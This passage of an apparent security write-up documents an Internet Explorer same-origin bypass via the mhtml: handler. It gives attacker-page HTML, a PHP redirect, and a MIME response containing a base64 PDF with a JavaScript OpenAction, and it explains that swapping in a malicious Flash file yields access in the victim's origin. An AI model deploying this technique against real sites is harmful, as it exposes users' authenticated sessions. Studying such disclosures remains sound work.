Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--


Now an attacker has to lure an authenticated user of example.com to his own domain eg. attacker.com, which contains the following HTML structure.
Note: The HTML structure does not directly specify the mhtml: protocol handler, because this will trigger Windows Defender in IE - so a HTTP redirect has to be used (yeah annoying).

http://attacker.com/test.html
<h1> MHTML protocol test case 2 </h1>
<embed src="redir.php" type="application/pdf" height="500" width="500"/>

redir.php
header("Location: mhtml:http://example.com/user/123/download.php?id=3!abcd.pdf");

HTTP response
HTTP/1.1 200 OK
Date: Sat, 25 Jan 2020 00:27:39 GMT
Server: Apache/2.4.37 (Debian)
Content-Disposition: attachment; filename="test.txt"
X-Content-Type-Options: nosniff
X-Frame-Options: deny
Content-Length: 1269
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_0000_01D56FF0.D41CF780"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D56FF0.D41CF780
Content-Type: application/pdf;
 charset="Windows-1252"
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf

JVBERi0xLjEKMSAwIG9iago8PAolCS9UeXBlIC9DYXRhbG9nCgkvUGFnZXMgMiAwIFIKICAgIC9B
Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--

Despite all the headers set by example.com, Internet Explorer will render the PDF and show "Hello World". By loading a malicious flash instead of a PDF file, it is possible to interact with example.com in the context of the victim viewing attacker.com, as the rendered resource is still operating in the example.com origin. It must be mentioned that while re-testing this issue, I was only able to reproduce this SOP behavior for flash files but not for PDF files. Adobe Reader would ask me to allow an emtpy (' ') origin to access example.com.